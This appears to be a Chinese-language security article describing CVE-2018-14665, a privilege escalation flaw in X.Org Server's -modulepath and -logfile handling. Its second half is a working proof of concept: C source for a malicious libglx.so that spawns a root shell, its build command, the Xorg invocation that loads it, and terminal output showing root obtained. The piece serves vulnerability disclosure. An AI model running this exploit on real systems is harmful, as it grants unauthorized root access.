印度安全研究員Narendra Shinde在X.Org Server軟件包中發(fā)現(xiàn)了一個(gè)非常關(guān)鍵的提權(quán)漏洞(CVE-2018-14665),主流Linux發(fā)行版均受到影響,包括OpenBSD、Debian、Ubuntu、CentOS、Red Hat和Fedora。
X.Org Server軟件包提供了X窗口系統(tǒng)(X Window System,也常稱為X11或X)的開源實(shí)現(xiàn)。
X Window System是一種以位圖方式顯示的軟件窗口系統(tǒng)。最初是1984年麻省理工學(xué)院的研究,之后變成UNIX、類UNIX、以及OpenVMS等操作系統(tǒng)所一致適用的標(biāo)準(zhǔn)化軟件工具包及顯示架構(gòu)的運(yùn)作協(xié)議。X窗口系統(tǒng)通過軟件工具及架構(gòu)協(xié)議來創(chuàng)建操作系統(tǒng)所用的圖形用戶界面,此后則逐漸擴(kuò)展適用到各形各色的其他操作系統(tǒng)上。現(xiàn)在幾乎所有的操作系統(tǒng)都能支持與使用X。更重要的是,今日知名的桌面環(huán)境——GNOME和KDE也都是以X窗口系統(tǒng)為基礎(chǔ)建構(gòu)成的。
根據(jù)Narendra Shinde的說法,X.Org服務(wù)器自版本1.19.0起就存在該漏洞,距今已經(jīng)兩年多了,只要X.Org服務(wù)器以提升的權(quán)限運(yùn)行,該漏洞就可被利用。
提權(quán)和任意文件覆蓋
Shinde發(fā)現(xiàn)漏洞根源在于X.Org服務(wù)器無法正確處理和驗(yàn)證至少以下兩個(gè)命令行的參數(shù):
* -modulepath:設(shè)置和搜索Xorg服務(wù)器模塊的目錄路徑;
* -logfile:跳過位于/var/log/Xorg.n.log的默認(rèn)日志,為Xorg服務(wù)器設(shè)置新的日志文件。
當(dāng)X.Org服務(wù)器提權(quán)運(yùn)行時(shí),比如使用setuid命令安裝并由非root用戶啟動(dòng)時(shí):
* -modulepath:可用于指定加載不安全模塊的路徑, 允許在高級(jí)進(jìn)程中跨權(quán)限執(zhí)行代碼。
* -logfile:可用于在文件系統(tǒng)中實(shí)現(xiàn)任意文件覆蓋。
實(shí)例
1、收集X.Org服務(wù)器加載的模塊信息
X.Org服務(wù)器在啟動(dòng)期間加載各種模塊,本演示中使用 – libglx.so:
[ 5549.223] (II) LoadModule: "glx"
[ 5549.223] (II) Loading /usr/lib/xorg/modules/extensions/libglx.so
[ 5549.224] (II) Module glx: vendor="X.Org Foundation
2、創(chuàng)建shell模塊
Shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
setgid(0);
setuid(0);
system("/bin/bash");
}
[developer@centos-x86 xorg-demo]$ gcc -fPIC -shared -o libglx.so shell.c -nostartfiles
[developer@centos-x86 xorg-demo]$
[developer@centos-x86 xorg-demo]$ ls -la
total 16
drwxrwxr-x. 2 developer developer 38 Oct 26 22:14 .
drwx------. 26 developer developer 4096 Oct 26 22:02 ..
-rwxrwxr-x. 1 developer developer 5772 Oct 26 22:14 libglx.so
-rw-rw-r--. 1 developer developer 147 Oct 26 22:03 shell.c
[developer@centos-x86 xorg-demo]$
[developer@centos-x86 xorg-demo]$
3、加載惡意shell模塊
[developer@centos-x86 ~]$
[developer@centos-x86 ~]$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[developer@centos-x86 ~]$
[developer@centos-x86 ~]$ Xorg -modulepath ',/home/developer/xorg-demo' :2
X.Org X Server 1.19.5
Release Date: 2017-10-12
X Protocol Version 11, Revision 0
Build Operating System: 3.10.0-693.17.1.el7.x86_64
Current Operating System: Linux centos-x86.localdomain 3.10.0-862.14.4.el7.centos.plus.i686 #1 SMP Fri Sep 28 05:30:57 UTC 2018 i686
Kernel command line: BOOT_IMAGE=/vmlinuz-3.10.0-862.14.4.el7.centos.plus.i686 root=/dev/mapper/centos-root ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
Build Date: 11 April 2018 04:44:33PM
Build ID: xorg-x11-server 1.19.5-5.el7
Current version of pixman: 0.34.0
Before reporting problems, check http://wiki.x.org
to make sure that you have the latest version.
Markers: (--) probed, (**) from config file, (==) default setting,
(++) from command line, (!!) notice, (II) informational,
(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) Log file: "/var/log/Xorg.2.log", Time: Fri Oct 26 22:15:12 2018
(==) Using config directory: "/etc/X11/xorg.conf.d"
(==) Using system config directory "/usr/share/X11/xorg.conf.d"
'abrt-cli status' timed out
-- wait for few seconds and you will be dropped into root shell ---
[root@centos-x86 ~]#
[root@centos-x86 ~]#
[root@centos-x86 ~]# id
uid=0(root) gid=0(root) groups=0(root),1000(developer) context=unconfined_u:unconfined_r:xserver_t:s0-s0:c0.c1023
[root@centos-x86 ~]#
4、模塊加載器日志:[ 6683.669] (++) ModulePath set to ",/home/developer/xorg-demo"
[ 6683.669] (II) The server relies on udev to provide the list of input devices.
If no devices become available, reconfigure udev or disable AutoAddDevices.
[ 6683.669] (II) Loader magic: 0x6f5020
[ 6683.669] (II) Module ABI versions:
[ 6683.669] X.Org ANSI C Emulation: 0.4
[ 6683.669] X.Org Video Driver: 23.0
[ 6683.669] X.Org XInput driver : 24.1
[ 6683.669] X.Org Server Extension : 10.0
[ 6683.678] (--) PCI:*(0:0:2:0) 80ee:beef:0000:0000 rev 0, Mem @ 0xe0000000/33554432, BIOS @ 0x????????/131072
[ 6683.678] (II) LoadModule: "glx"
[ 6683.678] (II) Loading /home/developer/xorg-demo/libglx.so
|